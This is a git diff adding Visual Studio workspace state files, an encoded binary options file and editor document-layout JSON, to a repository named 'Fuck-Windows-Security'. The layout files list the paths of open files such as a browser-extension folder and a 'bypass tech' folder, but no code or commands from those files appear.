zSpm2mysbA8AM7fo9rJ%%YoY84D^^+A_7Q7>RZy%G>^lt!Bf+#Mtz3qQZjv$-qNj5|6pC?QzO$*E9CLK&w(|SPc+t!^t&Sj eVRWLk?CamK)*4nam0urIt=%-LGsWj=$o~g?PlmVv literal 0 HcmV?d00001 diff --git a/.vs/Fuck-Windows-Security.slnx/v18/.wsuo b/.vs/Fuck-Windows-Security.slnx/v18/.wsuo new file mode 100644 index 0000000000000000000000000000000000000000..461321f22de4ec0343c0f69ee4d4d3693284f71d GIT binary patch literal 54784 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 literal 0 HcmV?d00001 diff --git a/.vs/Fuck-Windows-Security.slnx/v18/DocumentLayout.backup.json b/.vs/Fuck-Windows-Security.slnx/v18/DocumentLayout.backup.json new file mode 100644 index 0000000..90935aa --- /dev/null +++ b/.vs/Fuck-Windows-Security.slnx/v18/DocumentLayout.backup.json @@ -0,0 +1,177 @@ +{ + "Version": 1, + "WorkspaceRootPath": "D:\\source\\ashc0m-cmd\\Fuck-Windows-Security\\", + "Documents": [ + { + "AbsoluteMoniker": "D:0:0:{A2FE74E1-B743-11D0-AE1A-00A0C90FFFC3}|\u003CMiscFiles\u003E|C:\\Users\\Ashc0\\OneDrive\\Documents\\manifest.json\\chemist\\background.json||{14D17961-FE51-464D-9111-C4AF11D7D99A}" + }, + { + "AbsoluteMoniker": "D:0:0:{A2FE74E1-B743-11D0-AE1A-00A0C90FFFC3}|\u003CMiscFiles\u003E|C:\\Users\\Ashc0\\OneDrive\\Documents\\manifest.json\\chemist\\scripts.json||{90A6B3A7-C1A3-4009-A288-E2FF89E96FA0}" + }, + { + "AbsoluteMoniker": "D:0:0:{A2FE74E1-B743-11D0-AE1A-00A0C90FFFC3}|\u003CMiscFiles\u003E|C:\\Users\\Ashc0\\Downloads\\updates.json||{90A6B3A7-C1A3-4009-A288-E2FF89E96FA0}" + }, + { + "AbsoluteMoniker": "D:0:0:{A2FE74E1-B743-11D0-AE1A-00A0C90FFFC3}|\u003CMiscFiles\u003E|C:\\Users\\Ashc0\\OneDrive\\Documents\\manifest.json\\chemist\\assets\\assets\\extension.ini||{3B902123-F8A7-4915-9F01-361F908088D0}" + }, + { + "AbsoluteMoniker": "D:0:0:{A2FE74E1-B743-11D0-AE1A-00A0C90FFFC3}|\u003CMiscFiles\u003E|C:\\Users\\Ashc0\\OneDrive\\Documents\\manifest.json\\chemist\\option.js||{14D17961-FE51-464D-9111-C4AF11D7D99A}" + }, + { + "AbsoluteMoniker": "D:0:0:{A2FE74E1-B743-11D0-AE1A-00A0C90FFFC3}|\u003CMiscFiles\u003E|C:\\Users\\Ashc0\\source\\repos\\chemtrail\\config.json||{90A6B3A7-C1A3-4009-A288-E2FF89E96FA0}" + }, + { + "AbsoluteMoniker": "D:0:0:{A2FE74E1-B743-11D0-AE1A-00A0C90FFFC3}|\u003CMiscFiles\u003E|C:\\Users\\Ashc0\\OneDrive\\Documents\\manifest.json\\chemist\\styles.css||{A5401142-F49D-43DB-90B1-F57BA349E55C}" + }, + { + "AbsoluteMoniker": "D:0:0:{A2FE74E1-B743-11D0-AE1A-00A0C90FFFC3}|\u003CMiscFiles\u003E|C:\\Users\\Ashc0\\OneDrive\\Documents\\bypass tech\\Fetch.json||{90A6B3A7-C1A3-4009-A288-E2FF89E96FA0}" + }, + { + "AbsoluteMoniker": "D:0:0:{A2FE74E1-B743-11D0-AE1A-00A0C90FFFC3}|\u003CMiscFiles\u003E|C:\\Users\\Ashc0\\OneDrive\\Documents\\GitHub\\n8n\\packages\\nodes-base\\nodes\\Ssh\\__schema__\\v1.0.0\\command\\execute.json||{90A6B3A7-C1A3-4009-A288-E2FF89E96FA0}" + }, + { + "AbsoluteMoniker": "D:0:0:{A2FE74E1-B743-11D0-AE1A-00A0C90FFFC3}|\u003CMiscFiles\u003E|C:\\Users\\Ashc0\\source\\repos\\sites.json||{14D17961-FE51-464D-9111-C4AF11D7D99A}" + }, + { + "AbsoluteMoniker": "D:0:0:{A2FE74E1-B743-11D0-AE1A-00A0C90FFFC3}|\u003CMiscFiles\u003E|C:\\Users\\Ashc0\\OneDrive\\Documents\\manifest.json\\chemist\\manifest.json||{90A6B3A7-C1A3-4009-A288-E2FF89E96FA0}" + } + ], + "DocumentGroupContainers": [ + { + "Orientation": 0, + "VerticalTabListWidth": 256, + "DocumentGroups": [ + { + "DockedWidth": 200, + "SelectedChildIndex": 3, + "Children": [ + { + "$type": "Document", + "DocumentIndex": 10, + "Title": "manifest.json", + "DocumentMoniker": "C:\\Users\\Ashc0\\OneDrive\\Documents\\manifest.json\\chemist\\manifest.json", + "ToolTip": "C:\\Users\\Ashc0\\OneDrive\\Documents\\manifest.json\\chemist\\manifest.json", + "ViewState": "AgIAAAAAAAAAAAAAAAAAABUAAAAtAAAAAAAAAA==", + "Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.001642|", + "WhenOpened": "2025-12-11T07:05:11.35Z", + "IsPinned": true + }, + { + "$type": "Document", + "DocumentIndex": 5, + "Title": "config.json", + "DocumentMoniker": "C:\\Users\\Ashc0\\source\\repos\\chemtrail\\config.json", + "ToolTip": "C:\\Users\\Ashc0\\source\\repos\\chemtrail\\config.json", + "ViewState": "AgIAAPMAAAAAAAAAAAAAAAgAAAAtAAAAAAAAAA==", + "Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.001642|", + "WhenOpened": "2025-12-11T15:05:57.234Z", + "IsPinned": true + }, + { + "$type": "Document", + "DocumentIndex": 6, + "Title": "styles.css", + "DocumentMoniker": "C:\\Users\\Ashc0\\OneDrive\\Documents\\manifest.json\\chemist\\styles.css", + "ToolTip": "C:\\Users\\Ashc0\\OneDrive\\Documents\\manifest.json\\chemist\\styles.css", + "ViewState": "AgIAAAAAAAAAAAAAAAAAACAAAAAJAAAAAAAAAA==", + "Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.003000|", + "WhenOpened": "2025-12-12T00:42:00.372Z", + "IsPinned": true + }, + { + "$type": "Document", + "DocumentIndex": 0, + "Title": "background.json", + "DocumentMoniker": "C:\\Users\\Ashc0\\OneDrive\\Documents\\manifest.json\\chemist\\background.json", + "ToolTip": "C:\\Users\\Ashc0\\OneDrive\\Documents\\manifest.json\\chemist\\background.json", + "ViewState": "AgIAAAAAAAAAAAAAAAAAAAAAAAAmAAAAAAAAAA==", + "Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.001642|", + "WhenOpened": "2025-12-11T14:22:48.086Z", + "IsPinned": true, + "EditorCaption": "" + }, + { + "$type": "Document", + "DocumentIndex": 7, + "Title": "Fetch.json", + "DocumentMoniker": "C:\\Users\\Ashc0\\OneDrive\\Documents\\bypass tech\\Fetch.json", + "ToolTip": "C:\\Users\\Ashc0\\OneDrive\\Documents\\bypass tech\\Fetch.json", + "ViewState": "AgIAAIcAAAAAAAAAAAAAAAQAAAASAAAAAAAAAA==", + "Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.001642|", + "WhenOpened": "2025-12-11T14:53:12.673Z", + "IsPinned": true + }, + { + "$type": "Document", + "DocumentIndex": 4, + "Title": "option.js", + "DocumentMoniker": "C:\\Users\\Ashc0\\OneDrive\\Documents\\manifest.json\\chemist\\option.js", + "ToolTip": "C:\\Users\\Ashc0\\OneDrive\\Documents\\manifest.json\\chemist\\option.js", + "ViewState": "AgIAAAAAAAAAAAAAAAAuwAoAAAACAAAAAAAAAA==", + "Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.001646|", + "WhenOpened": "2025-12-12T17:45:35.788Z", + "IsPinned": true + }, + { + "$type": "Document", + "DocumentIndex": 9, + "Title": "sites.json", + "DocumentMoniker": "C:\\Users\\Ashc0\\source\\repos\\sites.json", + "ToolTip": "C:\\Users\\Ashc0\\source\\repos\\sites.json", + "ViewState": "AgIAAAAAAAAAAAAAAAAAAAsAAAAjAAAAAAAAAA==", + "Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.001642|", + "WhenOpened": "2025-12-11T16:38:58.543Z", + "IsPinned": true + }, + { + "$type": "Document", + "DocumentIndex": 2, + "Title": "updates.json", + "DocumentMoniker": "C:\\Users\\Ashc0\\Downloads\\updates.json", + "ToolTip": "C:\\Users\\Ashc0\\Downloads\\updates.json", + "ViewState": "AgIAAAAAAAAAAAAAAAAAAB4AAAABAAAAAAAAAA==", + "Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.001642|", + "WhenOpened": "2025-12-12T16:38:14.276Z", + "IsPinned": true + }, + { + "$type": "Bookmark", + "Name": "ST:0:0:{aa2115a1-9712-457b-9047-dbb71ca2cdd2}" + }, + { + "$type": "Document", + "DocumentIndex": 8, + "Title": "execute.json", + "DocumentMoniker": "C:\\Users\\Ashc0\\OneDrive\\Documents\\GitHub\\n8n\\packages\\nodes-base\\nodes\\Ssh\\__schema__\\v1.0.0\\command\\execute.json", + "ToolTip": "C:\\Users\\Ashc0\\OneDrive\\Documents\\GitHub\\n8n\\packages\\nodes-base\\nodes\\Ssh\\__schema__\\v1.0.0\\command\\execute.json", + "ViewState": "AgIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==", + "Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.001642|", + "WhenOpened": "2025-12-12T19:33:57.398Z" + }, + { + "$type": "Document", + "DocumentIndex": 3, + "Title": "extension.ini", + "DocumentMoniker": "C:\\Users\\Ashc0\\OneDrive\\Documents\\manifest.json\\chemist\\assets\\assets\\extension.ini", + "ToolTip": "C:\\Users\\Ashc0\\OneDrive\\Documents\\manifest.json\\chemist\\assets\\assets\\extension.ini", + "ViewState": "AgIAAAAAAAAAAAAAAAAAABUAAAAzAAAAAAAAAA==", + "Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.002768|", + "WhenOpened": "2025-12-12T13:58:07.444Z" + }, + { + "$type": "Document", + "DocumentIndex": 1, + "Title": "scripts.json", + "DocumentMoniker": "C:\\Users\\Ashc0\\OneDrive\\Documents\\manifest.json\\chemist\\scripts.json", + "ToolTip": "C:\\Users\\Ashc0\\OneDrive\\Documents\\manifest.json\\chemist\\scripts.json", + "ViewState": "AgIAACkEAAAAAAAAAAAqwMwEAAADAAAAAAAAAA==", + "Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.001642|", + "WhenOpened": "2025-12-11T14:25:21.644Z", + "EditorCaption": "" + } + ] + } + ] + } + ] +} \ No newline at end of file diff --git a/.vs/Fuck-Windows-Security.slnx/v18/DocumentLayout.json b/.vs/Fuck-Windows-Security.slnx/v18/DocumentLayout.json new file mode 100644 index 0000000..0fc8d99 --- /dev/null +++ b/.vs/Fuck-Windows-Security.slnx/v18/DocumentLayout.json @@ -0,0 +1,221 @@ +{ + "Version": 1, + "WorkspaceRootPath": "D:\\source\\ashc0m-cmd\\Fuck-Windows-Security\\", + "Documents": [ + { + "AbsoluteMoniker": "D:0:0:{A2FE74E1-B743-11D0-AE1A-00A0C90FFFC3}|\u003CMiscFiles\u003E|C:\\Users\\Ashc0\\OneDrive\\Documents\\manifest.json\\chemist\\styles.css||{A5401142-F49D-43DB-90B1-F57BA349E55C}" + }, + { + "AbsoluteMoniker": "D:0:0:{A2FE74E1-B743-11D0-AE1A-00A0C90FFFC3}|\u003CMiscFiles\u003E|C:\\Users\\Ashc0\\source\\repos\\chemtrail\\config.json||{90A6B3A7-C1A3-4009-A288-E2FF89E96FA0}" + }, + { + "AbsoluteMoniker": "D:0:0:{A2FE74E1-B743-11D0-AE1A-00A0C90FFFC3}|\u003CMiscFiles\u003E|C:\\Users\\Ashc0\\OneDrive\\Documents\\manifest.json\\chemist\\manifest.json||{90A6B3A7-C1A3-4009-A288-E2FF89E96FA0}" + }, + { + "AbsoluteMoniker": "D:0:0:{A2FE74E1-B743-11D0-AE1A-00A0C90FFFC3}|\u003CMiscFiles\u003E|C:\\Users\\Ashc0\\OneDrive\\Documents\\manifest.json\\chemist\\assets\\assets\\shield.png||{3B902123-F8A7-4915-9F01-361F908088D0}" + }, + { + "AbsoluteMoniker": "D:0:0:{A2FE74E1-B743-11D0-AE1A-00A0C90FFFC3}|\u003CMiscFiles\u003E|C:\\Users\\Ashc0\\OneDrive\\Documents\\bypass tech\\updates.json||{90A6B3A7-C1A3-4009-A288-E2FF89E96FA0}" + }, + { + "AbsoluteMoniker": "D:0:0:{A2FE74E1-B743-11D0-AE1A-00A0C90FFFC3}|\u003CMiscFiles\u003E|D:\\source\\ashc0m-cmd\\Fuck-Windows-Security\\.vs\\Fuck-Windows-Security.slnx\\config\\applicationhost.config||{FA3CD31E-987B-443A-9B81-186104E8DAC1}", + "RelativeMoniker": "D:0:0:{A2FE74E1-B743-11D0-AE1A-00A0C90FFFC3}|\u003CMiscFiles\u003E|solutionrelative:.vs\\Fuck-Windows-Security.slnx\\config\\applicationhost.config||{FA3CD31E-987B-443A-9B81-186104E8DAC1}" + }, + { + "AbsoluteMoniker": "D:0:0:{A2FE74E1-B743-11D0-AE1A-00A0C90FFFC3}|\u003CMiscFiles\u003E|C:\\Users\\Ashc0\\Downloads\\launch.json||{90A6B3A7-C1A3-4009-A288-E2FF89E96FA0}" + }, + { + "AbsoluteMoniker": "D:0:0:{A2FE74E1-B743-11D0-AE1A-00A0C90FFFC3}|\u003CMiscFiles\u003E|C:\\Users\\Ashc0\\OneDrive\\Documents\\bypass tech\\Fetch.json||{90A6B3A7-C1A3-4009-A288-E2FF89E96FA0}" + }, + { + "AbsoluteMoniker": "D:0:0:{A2FE74E1-B743-11D0-AE1A-00A0C90FFFC3}|\u003CMiscFiles\u003E|C:\\Users\\Ashc0\\source\\repos\\sites.json||{14D17961-FE51-464D-9111-C4AF11D7D99A}" + }, + { + "AbsoluteMoniker": 